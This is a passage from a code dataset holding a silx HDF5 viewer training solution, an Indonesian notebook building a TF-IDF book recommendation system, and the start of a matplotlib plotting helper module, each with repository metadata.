0.7075366127, "include": true, "reason": "import numpy", "num_tokens": 6260, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44552952031526044, "lm_q2_score": 0.1460872396128689, "lm_q1q2_score": 0.065086177788902}}
{"text": "#!/usr/bin/env python\n\nimport numpy\nimport silx.io\nfrom silx.gui import qt\nfrom silx.gui import hdf5\nimport silx.gui.data.DataViewerFrame\n\n\ndef main_ex1():\n\n    #\n    # EXERCISE: Open the file 'data/ID16B_diatomee.h5'\n    #\n\n    import silx.io\n    h5 = silx.io.open(\"data/ID16B_diatomee.h5\")\n\n    #\n    # EXERCISE: Display the file into the HDF5 tree\n    #\n\n    from silx.gui import hdf5\n    tree = hdf5.Hdf5TreeView()\n    model = tree.findHdf5TreeModel()\n    model.insertH5pyObject(h5)\n    tree.setVisible(True)\n\n    #\n    # EXERCISE: Access to one frame of the image\n    #\n\n    print(h5[\"/data/0000\"])\n\n    #\n    # EXERCISE: Display it with the data viwer\n    #\n\n    import silx.gui.data.DataViewerFrame\n    viewer = silx.gui.data.DataViewerFrame.DataViewerFrame()\n    viewer.setData(h5[\"/data/0000\"])\n    viewer.setVisible(True)\n\n    return tree, viewer\n\n###############################################################\n\ndef main_ex2():\n\n    def correctedImage(data, background, flatfield):\n        data = numpy.array(data, dtype=numpy.float32)\n        flatfield = numpy.array(flatfield, dtype=numpy.float32)\n        return (data - background) / (flatfield - background)\n\n    #\n    # EXERCISE: Reach one data frame, a background and a flatfield from 'data/ID16B_diatomee.h5'\n    #\n\n    import silx.io\n    h5 = silx.io.open(\"data/ID16B_diatomee.h5\")\n    data = h5[\"/data/0000\"][...]\n    background = h5[\"/background/0000\"][...]\n    flatfield = h5[\"/flatfield/0000\"][...]\n\n    #\n    # EXERCISE: Compute the corrected image\n    #\n\n    corrected = correctedImage(data, background, flatfield)\n\n    #\n    # EXERCISE: Display it with the data viewer\n    #\n\n    import silx.gui.data.DataViewerFrame\n    viewer = silx.gui.data.DataViewerFrame.DataViewerFrame()\n    viewer.setData(corrected)\n    viewer.setVisible(True)\n    return viewer\n\n###############################################################\n\n\nclass ViewerEx3(qt.QMainWindow):\n\n    def __init__(self, parent=None):\n        qt.QMainWindow.__init__(self, parent)\n        widget = self.createCentralWidget()\n        self.setCentralWidget(widget)\n\n    def createCentralWidget(self):\n        splitter = qt.QSplitter(self)\n\n        # the tree\n        self.tree = silx.gui.hdf5.Hdf5TreeView(self)\n        # the data viewer\n        self.viewer = silx.gui.data.DataViewerFrame.DataViewerFrame(self)\n\n        splitter.addWidget(self.tree)\n        splitter.addWidget(self.viewer)\n        splitter.setStretchFactor(1, 1)\n\n        #\n        # EXERCISE: Connect the callback onTreeActivated (bellow)\n        #           to a mouse event from the tree\n        #\n\n        self.tree.activated.connect(self.onTreeActivated)\n\n        return splitter\n\n    def onTreeActivated(self):\n\n        #\n        # EXERCISE: Reach selected objects from the tree\n        #\n\n        selectedObjects = list(self.tree.selectedH5Nodes())\n\n        #\n        # EXERCISE: Provide it to the data viewer\n        #\n\n        if len(selectedObjects) == 0:\n            self.viewer.setData(\"Nothing selected\")\n        elif len(selectedObjects) > 1:\n            self.viewer.setData(\"Too much things selected\")\n        obj = selectedObjects[0]\n        self.viewer.setData(obj)\n\n    def appendFile(self, filename):\n        model = self.tree.findHdf5TreeModel()\n        model.insertFile(filename)\n        print(\"Load %s\" % filename)\n\ndef main_ex3():\n    from silx.gui import qt\n    viewer = ViewerEx3()\n    viewer.appendFile('data/ID16B_diatomee.h5')\n    viewer.setVisible(True)\n    return viewer\n\n###############################################################\n\nclass ViewerEx4(ViewerEx3):\n\n    def onTreeActivated(self):\n        selectedObjects = list(self.tree.selectedH5Nodes())\n        if len(selectedObjects) == 0:\n            self.viewer.setData(\"Nothing selected\")\n\n        elif len(selectedObjects) > 1:\n            self.viewer.setData(\"Too much things selected\")\n\n        else:\n            obj = selectedObjects[0]\n            node = obj.h5py_object\n\n            if \"/data/\" in node.name:\n                # That's a data from the /data group\n                data = self.computeCorrectedImage(node)\n                self.viewer.setData(data)\n            else:\n                # Other data is displayed in a normal way\n                self.viewer.setData(obj)\n\n    def computeCorrectedImage(self, h5data):\n        \"\"\"\n        :param h5data: H5py dataset selected from the group /data/\n        \"\"\"\n        background = self.getBackground(h5data)\n        flatfield = self.getFlatField(h5data)\n\n        raw = numpy.array(h5data, dtype=numpy.float32)\n        flatfield = numpy.array(flatfield, dtype=numpy.float32)\n        background = background[...]\n        return (raw - background) / (flatfield - background)\n\n    def getBackground(self, h5data):\n        \"\"\"\n        :param h5data: H5py dataset selected from the group /data/\n        \"\"\"\n\n        #\n        # EXERCISE: Return the background image from the dataset\n        #\n\n        return h5data.file[\"/background/0000\"][...]\n\n    def getFlatField(self, h5data):\n        \"\"\"\n        :param h5data: H5py dataset selected from the group /data/\n        \"\"\"\n\n        #\n        # EXERCISE: Return the flatfield image from the dataset\n        #\n        #           1) you can return a flatfield by default\n        #           2) you can return the closest flat field according to the index of the data\n        #           3) you can return an interpolation of the 2 flatfields according to the index of the data\n\n        # return self.getFlatField1(h5data)\n        # return self.getFlatField2(h5data)\n        return self.getFlatField3(h5data)\n\n    def getFlatField1(self, h5data):\n        return h5data.file[\"/flatfield/0000\"][...]\n\n    def getFlatField2(self, h5data):\n        index = int(h5data.name.split(\"/\")[-1])\n        if index < 250:\n            return h5data.file[\"/flatfield/0000\"][...]\n        else:\n            return h5data.file[\"/flatfield/0500\"][...]\n\n    def getFlatField3(self, h5data):\n        index = int(h5data.name.split(\"/\")[-1])\n        flatfield0 = h5data.file[\"/flatfield/0000\"][...]\n        flatfield500 = h5data.file[\"/flatfield/0500\"][...]\n        coef = index / 500.0\n        return flatfield0 * (1.0 - coef) + flatfield500 * coef\n\n\ndef main_ex4():\n    viewer = ViewerEx4()\n    viewer.appendFile('data/ID16B_diatomee.h5')\n    viewer.setVisible(True)\n    return viewer\n\n###############################################################\n\nif __name__ == \"__main__\":\n    def raise_param_error():\n        raise Exception('One an only one argument is expected (ex1, ex2, ex3, or ex4). ')\n\n    import sys\n    if len(sys.argv) != 2:\n        raise_param_error()\n\n    from silx.gui import qt\n    app = qt.QApplication([])\n\n    arg = sys.argv[1]\n    if arg == 'ex1':\n        mem = main_ex1()\n    elif arg == 'ex2':\n        mem = main_ex2()\n    elif arg == 'ex3':\n        mem = main_ex3()\n    elif arg == 'ex4':\n        mem = main_ex4()\n    else:\n        raise_param_error()\n\n    app.exec_()\n", "meta": {"hexsha": "125668dfe130ce7cbb0cc98705b36cf9f1652fd2", "size": 6962, "ext": "py", "lang": "Python", "max_stars_repo_path": "silx/io/solution/solutions.py", "max_stars_repo_name": "t20100/silx-training", "max_stars_repo_head_hexsha": "409656479c7fdc9f1e895c6f3f0530c7eb89cbc1", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": 7, "max_stars_repo_stars_event_min_datetime": "2017-05-02T10:03:12.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-28T14:11:32.000Z", "max_issues_repo_path": "silx/io/solution/solutions.py", "max_issues_repo_name": "t20100/silx-training", "max_issues_repo_head_hexsha": "409656479c7fdc9f1e895c6f3f0530c7eb89cbc1", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": 23, "max_issues_repo_issues_event_min_datetime": "2016-11-21T17:55:11.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-24T13:43:13.000Z", "max_forks_repo_path": "silx/io/solution/solutions.py", "max_forks_repo_name": "t20100/silx-training", "max_forks_repo_head_hexsha": "409656479c7fdc9f1e895c6f3f0530c7eb89cbc1", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": 13, "max_forks_repo_forks_event_min_datetime": "2016-11-17T10:47:22.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-07T09:38:47.000Z", "avg_line_length": 27.1953125, "max_line_length": 109, "alphanum_fraction": 0.5874748635, "include": true, "reason": "import numpy", "num_tokens": 1710, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.35220178204788966, "lm_q2_score": 0.18476751289253926, "lm_q1q2_score": 0.06507544730530876}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Recomendation system : Book Recommendation \n\n# ### Oleh : [Ahmad Habib Husaini](https://www.linkedin.com/in/ahmad-habib-husaini-1705711b0/)\n# \n# #### Pendahuluan\n# Pada proyek ini, topik yang dibahas adalah mengenai pembuatan sistem rekomendasi dengan data book . Proyek ini dibuat untuk proyek Submission 2 - Machine Learning Terapan Dicoding.\n\n# # 1. Import important package\n\n# In[1]:\n\n\nimport pandas as pd \nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport opendatasets\nimport wget\nimport zipfile\nfrom tqdm import tqdm\nimport os\n\n\n# # 2. Data loading\n\n# ## 2.1 Data Acquisition\n\n# In[2]:\n\n\nif os.path.exists('book-recommendation-dataset'):\n    print(\"file sudah ada\")\nelse:\n    opendatasets.download_kaggle_dataset(dataset_url='https://www.kaggle.com/arashnic/book-recommendation-dataset', data_dir='')\n\n\n# Pada tahapan *data loading* berisikan akuisisi data dengan mengunduh dataset pada [link](https://www.kaggle.com/arashnic/book-recommendation-dataset) dengan menggunakan library `opendatasets` dengan sintaks seperti diatas. Ketika merunning code tersebut akan diminta mengisikan username dan key. \n# 1. username silahkan disisi dengan username *account* kaggle\n# 2. key didapatkan dengan :\n#     1. Buka website [kaggle](https://www.kaggle.com/), \n#     2. login dengan akun masing-masing. \n#     3. Pilih your profile pada kanan atas \n#     4. Pilih *account*\n#     5. Scroll sedikit kebawah maka akan ada pilihan `Create new API token`\n#     <img src=\"image/kaggle_token.png\" style=\"zoom:5%;\" /> <br>\n#     6. Setelah menekan pilihan tersebut akan terunduh file kaggle.json yang berisikan username dan key\n\n# ## 2.2 Memuat data dalam format Dataframe\n\n# ### 2.2.1 Book Dataframe \n\n# In[3]:\n\n\ndf_book = pd.read_csv('book-recommendation-dataset/Books.csv')\ndf_book.head(3)\n\n\n# ### 2.2.2 Rating Dataframe\n\n# In[4]:\n\n\ndf_rating = pd.read_csv('book-recommendation-dataset/Ratings.csv')\ndf_rating.head(3)\n\n\n# ### 2.2.4 User Dataframe\n\n# In[5]:\n\n\ndf_user = pd.read_csv('book-recommendation-dataset/Users.csv')\ndf_user.tail(3)\n\n\n# # 3. Data Understanding\n\n# ## 3.1 Informasi dataset\n\n# ![image/kaggle_dataset.png](attachment:image.png)<br>\n# Pada berkas yang dapat diunduh pada link [berikut](https://www.kaggle.com/arashnic/book-recommendation-dataset?select=Users.csv) berisikan dataset berjumlah 3 buah file yakni Book.csv, Rating.csv dan User.csv\n# \n\n# ### 3.1.1 Book\n# \n# Berisikan data sebanyak 271360 baris dan 8 kolom yang terdiri dari: <br>\n# \n# Kolom  | Keterangan\n# :------------- | :-------------\n# Sumber  | https://www.kaggle.com/arashnic/book-recommendation-dataset?select=Books.csv\n# ISBN | International Standard Book Number merupakan kode unik masing masing buku\n# Book-title | Merupakan judul dari tiap buku\n# Book-Author | Merupakan penulis atau pengarang tiap buku\n# Year-Of_Publication |Merupakan tahun terbit tiap buku\n# Publisher | Merupakan lebaga penerbit tiap buku\n# Image-URL-S | Link foto dari tiap buku berukuran kecil\n# Image-URL-M | Link foto dari tiap buku berukuran sedang\n# Image-URL-L | Link foto dari tiap buku berukuran besar\n\n# ### 3.1.2 Rating\n# Berisikan data sebanyak 1149780 baris dan 3 kolom yang terdiri dari:\n# \n# Kolom  | Keterangan\n# :------------- | :-------------\n# Sumber  | https://www.kaggle.com/arashnic/book-recommendation-dataset?select=Ratings.csv\n# User-ID | Merupakan kode unik tiap user\n# ISBN | International Standard Book Number merupakan kode unik masing masing buku\n# Book-Rating |Merupakan rating dari tiap buku\n\n# ### 3.1.3 User\n# \n# Berisikan data sebanyak 278858 baris dan 4 kolom yang terdiri dari: <br>\n# \n# Kolom  | Keterangan\n# :------------- | :-------------\n# Sumber  | https://www.kaggle.com/arashnic/book-recommendation-dataset?select=Users.csv\n# User-ID | Merupakan kode unik tiap user\n# Age | Merupakan umur tiap user\n# Location |Merupakan lokasi tiap user \n\n# ## 3.2 Cek Missing Values, tipe data & summary statistical descriptive\n\n# ### 3.2.1 Book\n\n# In[6]:\n\n\npd.DataFrame(df_book.isnull().sum(), columns=['missing_values'])\n\n\n# In[7]:\n\n\ndf_book.info()\n\n\n# In[8]:\n\n\ndf_book.loc[:,:'Publisher'].describe(include=object)\n\n\n# ### 3.2.2 Rating\n\n# In[9]:\n\n\npd.DataFrame(df_rating.isnull().sum(), columns=['missing_values'])\n\n\n# In[10]:\n\n\ndf_rating.info()\n\n\n# In[11]:\n\n\ndf_rating[['Book-Rating']].describe()\n\n\n# In[12]:\n\n\ndf_rating['Book-Rating'] = df_rating['Book-Rating'].astype(object)\n\n\n# In[13]:\n\n\ndf_rating.describe(include=[object])\n\n\n# In[14]:\n\n\ndf_rating.info()\n\n\n# ### 3.2.3 User\n\n# In[15]:\n\n\ndf_user.head()\n\n\n# In[16]:\n\n\ndf_user.Location.unique()\n\n\n# In[17]:\n\n\ndf_user.Location.str.split(',',expand=True).loc[:,:2][0].unique()\n\n\n# In[18]:\n\n\nlen(df_user.Location.str.split(',',expand=True).loc[:,:2][0].unique())\n\n\n# In[19]:\n\n\ndf_user.Location.str.split(',',expand=True).loc[:,:2][1].unique()\n\n\n# In[20]:\n\n\nlen(df_user.Location.str.split(',',expand=True).loc[:,:2][1].unique())\n\n\n# In[21]:\n\n\ndf_user['city'] = df_user.Location.str.split(',',expand=True)[0]\n# df_user['nation_state'] = df_user.Location.str.split(',',expand=True)[1]\ndf_user['country'] = df_user.Location.str.split(',',expand=True)[2]\ndf_user.head()\n\n\n# In[22]:\n\n\npd.DataFrame(df_user.isnull().sum(), columns=['missing_values'])\n\n\n# In[23]:\n\n\ndf_user.info()\n\n\n# In[24]:\n\n\npd.set_option('display.max_rows',105)\n\n\n# In[25]:\n\n\ndf_user.groupby('country')[['country']].count().head(10)\n\n\n# In[26]:\n\n\ndf_user.drop(columns=['country'], inplace=True)\n\n\n# In[27]:\n\n\ndf_user[['Age']].describe()\n\n\n# In[28]:\n\n\ndf_user.describe(include=object)\n\n\n# `Kesimpulan dari Tahapan ini :`\n# 1. Book\n#     - Buku dengan judul terbanyak adalah Selected Poems dengan jumlah 27 buah\n#     - Penulis terbanyak adalah Agatha Christie dengan total 632 karya\n#     - Buku terbitan tahun 2002 menjadi buku terbanyak\n#     - Lembaga penerbit yang paling banayk menerbitkan buku adalah Harlequin\n# 2. Rating\n#     - masih banyak buku yang belum dirating, yakni sebanyak 716109\n# 3. User\n#     - Banyak data umur yang kosong kemungkinan tidak akan digunakan\n#     - london menjadi kota user terbanyak sebanyak 139187 user\n\n# ## 3.3 Visualisasi Data\n\n# ### 3.3.1 Book\n\n# In[29]:\n\n\ncount_book = {key: len(df_book[key].unique()) for key in df_book.columns[1:5]}\n\n\n# In[30]:\n\n\nplt.figure(figsize=(15,9))\nax = sns.barplot(x=list(count_book.keys()), y=list(count_book.values()))\nfor p in ax.patches:\n        ax.annotate(format(p.get_height(), '.1f'), (p.get_x() + p.get_width() / 2., p.get_height()), ha = 'center', va = 'center', xytext = (0, 10), textcoords = 'offset points')\nax.set_title(\"Banyak Data Unik Tiap Kolom Dataset Book\")\nplt.show()\n\n\n# ### 3.3.2 Rating\n\n# In[31]:\n\n\ncount_rating = {key: len(df_rating[key].unique()) for key in df_rating.columns}\n\n\n# In[32]:\n\n\nplt.figure(figsize=(15,9))\nax = sns.barplot(x=list(count_rating.keys()), y=list(count_rating.values()))\nfor p in ax.patches:\n        ax.annotate(format(p.get_height(), '.1f'), (p.get_x() + p.get_width() / 2., p.get_height()), ha = 'center', va = 'center', xytext = (0, 10), textcoords = 'offset points')\nax.set_title(\"Banyak Data Unik Tiap Kolom Dataset Rating\")\nplt.show()\n\n\n# In[33]:\n\n\nplt.figure(figsize=(15,9))\nax = sns.countplot(data=df_rating, x='Book-Rating')\nfor p in ax.patches:\n        ax.annotate(format(p.get_height(), '.1f'), (p.get_x() + p.get_width() / 2., p.get_height()), ha = 'center', va = 'center', xytext = (0, 10), textcoords = 'offset points')\nax.set_title(\"Banyak Data Unik Kolom Rating\")\nplt.show()\n\n\n# ### 3.3.3 Users\n\n# In[34]:\n\n\ndf_user.head()\n\n\n# In[35]:\n\n\ncount_users = {key: len(df_user[key].unique()) for key in df_user.columns}\n\n\n# In[36]:\n\n\nplt.figure(figsize=(12,9))\nax = sns.barplot(x=list(count_users.keys()), y=list(count_users.values()))\nfor p in ax.patches:\n        ax.annotate(format(p.get_height(), '.1f'), (p.get_x() + p.get_width() / 2., p.get_height()), ha = 'center', va = 'center', xytext = (0, 10), textcoords = 'offset points')\nax.set_title(\"Banyak Data Unik Tiap Kolom Dataset User\")\nplt.show()\n\n\n# In[37]:\n\n\ncity_top10 = df_user.city.value_counts().head(10).reset_index()\ncity_top10.columns = ['city', 'count']\ncity_top10\n\n\n# In[38]:\n\n\nplt.figure(figsize=(12,9))\nax = sns.barplot(x=city_top10.city, y=city_top10['count'])\nfor p in ax.patches:\n        ax.annotate(format(p.get_height(), '.1f'), (p.get_x() + p.get_width() / 2., p.get_height()), ha = 'center', va = 'center', xytext = (0, 10), textcoords = 'offset points')\nax.set_title(\"Top 10 Kota Terbanyak\")\nplt.show()\n\n\n# # 4. Data Preparation & Data Preprocessing\n\n# ## 4.1 Memilih fitur untuk sistem rekomendasi\n\n# In[39]:\n\n\ndf_fix = df_book.iloc[:,0:4]\ndf_fix.head()\n\n\n# In[40]:\n\n\npd.DataFrame({\n    'missing_values':df_fix.isnull().sum(),\n    'presentase':df_fix.isnull().sum()/len(df_fix)\n})\n\n\n# ## 4.2 Hapus Missing Value dan data duplicate pada dataset fix\n\n# In[41]:\n\n\ndf_fix.dropna(inplace=True)\ndf_fix.drop_duplicates(inplace=True)\n\n\n# In[42]:\n\n\ndf_fix.shape\n\n\n# ## 4.3 Create Metadata\n\n# In[43]:\n\n\ndf_fix['Year-Of-Publication'] = df_fix['Year-Of-Publication'].astype('str')\n\n\n# In[44]:\n\n\ndf_fix['metadata'] = \"\"\nfor col in ['Book-Title', 'Book-Author', 'Year-Of-Publication']:\n    df_fix['metadata'] += df_fix[col]\n    df_fix['metadata'] += \" \"\n\n\n# In[45]:\n\n\ndf_fix.tail()\n\n\n# ## 4.4 Encoding dengan TF-IDF\n\n# In[46]:\n\n\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\n\n\n# In[47]:\n\n\nbow = CountVectorizer()\nbank = bow.fit_transform(df_fix.metadata)\n\n\n# In[48]:\n\n\ntfidf = TfidfVectorizer()\nbank2 = tfidf.fit_transform(df_fix.metadata)\n\n\n# # 5. Modeling\n\n# ## 5.1 Encoding metadata index\n\n# In[49]:\n\n\nindex = 0\ncontent = df_fix.loc[index, 'metadata']\ncontent\n\n\n# In[50]:\n\n\ncode1 = bow.transform([content])\ncode1\n\n\n# In[51]:\n\n\ncode2 = tfidf.transform([content])\n\n\n# ## 5.2 Document Search\n\n# In[52]:\n\n\nfrom sklearn.metrics.pairwise import cosine_distances\n\n\n# In[53]:\n\n\ndistance1 = cosine_distances(code1, bank)\ndistance1\n\n\n# In[54]:\n\n\nrec_idx = distance1.argsort()[0, 1:]\nrec_idx\n\n\n# In[55]:\n\n\ndf_fix.loc[rec_idx[:5], :]\n\n\n# In[56]:\n\n\ndistance2 = cosine_distances(code2, bank)\ndistance2\n\n\n# In[57]:\n\n\nrec_idx2 = distance2.argsort()[0, 1:]\nrec_idx2\n\n\n# In[58]:\n\n\ndf_fix.loc[rec_idx2[:10], :]\n\n\n# ## 5.3 Bungkus code agar rapih\n\n# In[59]:\n\n\nclass RecommendationSystems():\n    def __init__(self,data, metadata_col):\n        self.df = data\n        self.metadata = metadata_col\n        self.encoder = None\n        self.bank = None\n    \n    def fit(self, encoder='tfidf'):\n        if encoder not in ['bow', 'tfidf']:\n            print(\"hanya support BoW dan TF-IDF\")\n        else:\n            self.encoder = TfidfVectorizer()\n            if encoder=='bow':\n                self.encoder = CountVectorizer()\n            self.bank = self.encoder.fit_transform(self.df[self.metadata])\n    def recommender(self, index, topn=10):\n        content = self.df.loc[index, self.metadata]\n        code = self.encoder.transform([content])\n        distance = cosine_distances(code, self.bank)\n        rec_idx = distance.argsort()[0, 1:]\n        return self.df.loc[rec_idx[:topn], :]\n\n\n# In[60]:\n\n\nrecsys = RecommendationSystems(df_fix, 'metadata')\nrecsys.fit()\n\n\n# In[61]:\n\n\nrec = recsys.recommender(100)\nrec\n\n\n# In[62]:\n\n\ndf_fix.loc[100,:]\n\n\n# In[63]:\n\n\nrecsys2 = RecommendationSystems(df_fix, 'metadata')\nrecsys2.fit('bow')\n\n\n# In[64]:\n\n\nrec2 = recsys2.recommender(100)\nrec2\n\n\n# ## 5.4 Scoring\n\n# ## 5.4.1 Try\n\n# In[65]:\n\n\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport numpy as np\n\n\n# In[66]:\n\n\nbook = pd.DataFrame(dict(df_fix.loc[100,:]), index=[0])\nbook\n\n\n# In[67]:\n\n\nrec2\n\n\n# In[68]:\n\n\nnp.mean(cosine_similarity(bow.transform(book.metadata.values), bow.transform(rec.metadata)))\n\n\n# In[69]:\n\n\nnp.mean(cosine_similarity(tfidf.transform(book.metadata.values), tfidf.transform(rec.metadata)))\n\n\n# ## 5.4.2 Bungkus kembali kedalam class\n\n# In[70]:\n\n\nclass RecommendationSystems():\n    def __init__(self,data, metadata_col):\n        self.df = data\n        self.metadata = metadata_col\n        self.encoder = None\n        self.bank = None\n        self.content = None\n        self.index = None\n        self.topn = None\n    \n    def fit(self, encoder='tfidf'):\n        if encoder not in ['bow', 'tfidf']:\n            print(\"hanya support BoW dan TF-IDF\")\n        else:\n            self.encoder = TfidfVectorizer()\n            if encoder=='bow':\n                self.encoder = CountVectorizer()\n            self.bank = self.encoder.fit_transform(self.df[self.metadata])\n    def recommender(self, index, topn=10, include_book_search=False):\n        self.index = index       \n        self.topn = topn\n        self.content = self.df.loc[index, self.metadata]\n        code = self.encoder.transform([self.content])\n        distance = cosine_distances(code, self.bank)\n        rec_idx = distance.argsort()[0, :]\n        if include_book_search:\n            topn+=1\n            return self.df.loc[rec_idx[:topn], :] \n        return self.df.loc[rec_idx[1:topn], :]\n\n    def score(self):\n        rec = self.recommender(index=self.index, topn=self.topn, include_book_search=True)\n        bank = self.encoder.transform(rec.metadata)\n        code = self.encoder.transform([self.content])\n        return np.mean(cosine_similarity(code, bank)[:,1:])\n\n\n# In[71]:\n\n\nrecsys3 = RecommendationSystems(df_fix, 'metadata')\nrecsys3.fit()\nrecsys3.recommender(index=100, include_book_search=True)\n\n\n# In[72]:\n\n\nrecsys3.score()\n\n\n# In[73]:\n\n\nimport time\n\n\n# In[74]:\n\n\nstart = time.time()\nrecsys4 = RecommendationSystems(df_fix, 'metadata')\nrecsys4.fit('bow')\nrecsys4.recommender(index=100)\nstop = time.time()\nprint(f\"Training time: {stop - start} s\")\nprint(\"Score : \",recsys4.score())\n\n\n# ## 5.4.3 Scoring Model dengan *Bag Of Word* top 5 rekomendasi\n\n# In[75]:\n\n\nrecsys = RecommendationSystems(data=df_fix, metadata_col='metadata')\nrecsys.fit(encoder='bow')\n\n\n# In[76]:\n\n\nrecsys.recommender(index=100, topn=5, include_book_search=True)\n\n\n# In[77]:\n\n\nrecsys.score()\n\n\n# In[78]:\n\n\nrecsys.recommender(index=1000, topn=5, include_book_search=True)\n\n\n# In[79]:\n\n\nrecsys.score()\n\n\n# ## 5.4.4 Scoring Model Tf-idf\n\n# In[80]:\n\n\nrecsys = RecommendationSystems(data=df_fix, metadata_col='metadata')\nrecsys.fit(encoder='tfidf')\n\n\n# In[81]:\n\n\nrecsys.recommender(index=100, topn=5, include_book_search=True)\n\n\n# In[82]:\n\n\nrecsys.score()\n\n\n# In[83]:\n\n\nrecsys.recommender(index=1000, topn=5, include_book_search=True)\n\n\n# In[84]:\n\n\nrecsys.score()\n\n\n# # 6 Evaluasi\n\n# ## 6.1 Generate data yang akan dijadikan sampel sebanyak 500 data\n\n# In[85]:\n\n\nnp.random.randint(0,10, 5)\n\n\n# In[86]:\n\n\nidx_sample_list = np.random.randint(0,len(df_fix), 500)\nidx_sample_list\n\n\n# In[87]:\n\n\nlen(idx_sample_list)\n\n\n# In[88]:\n\n\nidx_sample_list2 = [i for i in np.random.randint(0,len(df_fix), 500) if i not in idx_sample_list]\nlen(idx_sample_list2)\n\n\n# In[89]:\n\n\nfrom tqdm import tqdm\n\n\n# ## 6.2 Define Loop Function\n\n# In[90]:\n\n\ndef loop_rec(data, metadata_col='metadata', encoder='tfidf', sample_list=[0,2,10],topn=10, return_dict=False):\n    score_list = []\n    score_dict = {}\n    idx_done = []\n    recsys = RecommendationSystems(data, metadata_col)\n    recsys.fit(encoder)\n    for i in tqdm(sample_list):\n        while True:\n            idx = np.random.randint(low=0, high=len(data))\n            if idx not in idx_done:\n                idx_done.append(idx)\n                break\n        recsys.recommender(index=idx, topn=topn)\n        score = recsys.score()\n        score_list.append(score)\n        score_dict[idx] = score\n    if return_dict:\n        return score_dict, np.mean(score_list)\n    return np.mean(score_list)\n\n\n# ## 6.3 Model Bag-of-word \n\n# In[91]:\n\n\ndict_score_bow, score_bow = loop_rec(data=df_fix,\n                                     metadata_col='metadata',\n                                     encoder='bow',\n                                     topn=5,\n                                     sample_list=idx_sample_list,\n                                     return_dict=True)\n\n\n# In[92]:\n\n\nscore_bow\n\n\n# In[93]:\n\n\ndict_score_bow2, score_bow2 = loop_rec(data=df_fix,\n                                     metadata_col='metadata',\n                                     encoder='bow',\n                                     topn=5,\n                                     sample_list=idx_sample_list2,\n                                     return_dict=True)\n\n\n# In[94]:\n\n\nscore_bow2\n\n\n# ## 6.4 Model Tf-idf\n\n# In[95]:\n\n\ndict_score_tfidf, score_tfidf = loop_rec(data=df_fix,\n                                     metadata_col='metadata',\n                                     encoder='tfidf',\n                                     topn=5,\n                                     sample_list=idx_sample_list,\n                                     return_dict=True)\n\n\n# In[96]:\n\n\nscore_tfidf\n\n\n# In[97]:\n\n\ndict_score_tfidf2, score_tfidf2 = loop_rec(data=df_fix,\n                                     metadata_col='metadata',\n                                     encoder='tfidf',\n                                     topn=5,\n                                     sample_list=idx_sample_list2,\n                                     return_dict=True)\n\n\n# In[98]:\n\n\nscore_tfidf2\n\n\n# In[100]:\n\n\npd.DataFrame({\n    'Tf-Idf':[score_tfidf, score_tfidf2],\n    'BoW':[score_bow, score_bow2]\n})\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "06524eeb2113b8387d2c1927ba6741c286bc9ea1", "size": 17232, "ext": "py", "lang": "Python", "max_stars_repo_path": "Book Recommendation System/content_base_filtering.py", "max_stars_repo_name": "ahmadhabib5/Applied_Machine_Learning", "max_stars_repo_head_hexsha": "cb3e63bd90d6657e1a0664fa811eb4ecc9197117", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-11-14T11:39:13.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-14T11:39:18.000Z", "max_issues_repo_path": "Book Recommendation System/content_base_filtering.py", "max_issues_repo_name": "ahmadhabib5/Applied_Machine_Learning", "max_issues_repo_head_hexsha": "cb3e63bd90d6657e1a0664fa811eb4ecc9197117", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Book Recommendation System/content_base_filtering.py", "max_forks_repo_name": "ahmadhabib5/Applied_Machine_Learning", "max_forks_repo_head_hexsha": "cb3e63bd90d6657e1a0664fa811eb4ecc9197117", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-03-17T06:12:39.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-17T06:12:39.000Z", "avg_line_length": 18.7304347826, "max_line_length": 298, "alphanum_fraction": 0.6371866295, "include": true, "reason": "import numpy", "num_tokens": 4748, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3522017684487511, "lm_q2_score": 0.1847675061589216, "lm_q1q2_score": 0.0650754424210377}}
{"text": "'''\r\njplot\r\nBasic plot module for Colaboratory (Jupyter)\r\nCompatible with Python 2.7 and 3.x\r\nIncludes funtions related for drawing curves\r\n \r\nHistory:\r\n  11/03/2018 : First version\r\n  13/03/2018 : Add version string\r\n'''\r\n\r\nfrom __future__ import print_function\r\n\r\nimport numpy as np               # Import numpy for numeric calculations\r\nimport pylab as pl               # Import pylab\r\nimport matplotlib.pyplot as plt\r\n\r\n# Version string\r\nversion = '13/3/2018'\r\n\r\n#########################################################################################\r\n# DRAWING CODE                                                                          #\r\n#########################################################################################\r\n\r\n# Internal functions ####################################################################\r\n\r\n'''\r\n_plotStart\r\nStarts a new plot\r\nParamenters:\r\n  title : Title of the plot (defaults to none)\r\n  xt    : x label of the plot (defaults to none)\r\n  yt    : y label of the plot (defaults to none)\r\n  grid  : Determines if there is grid (defaults to True)\r\nReturns:\r\n  fig : Figure object\r\n  ax  : Axes object  \r\n'''\r\ndef _plotStart(title=\"\",xt=\"\",yt=\"\",grid=True):\r\n    fig=plt.figure()\r\n    ax = fig.add_subplot(111)\r\n    ax.set_facecolor(\"white\")\r\n    ax.set_title(title)\r\n    ax.set_xlabel(xt)\r\n    ax.set_ylabel(yt)\r\n    if (grid):\r\n        plt.grid(True,color=\"lightgrey\",linestyle='--')\r\n    return 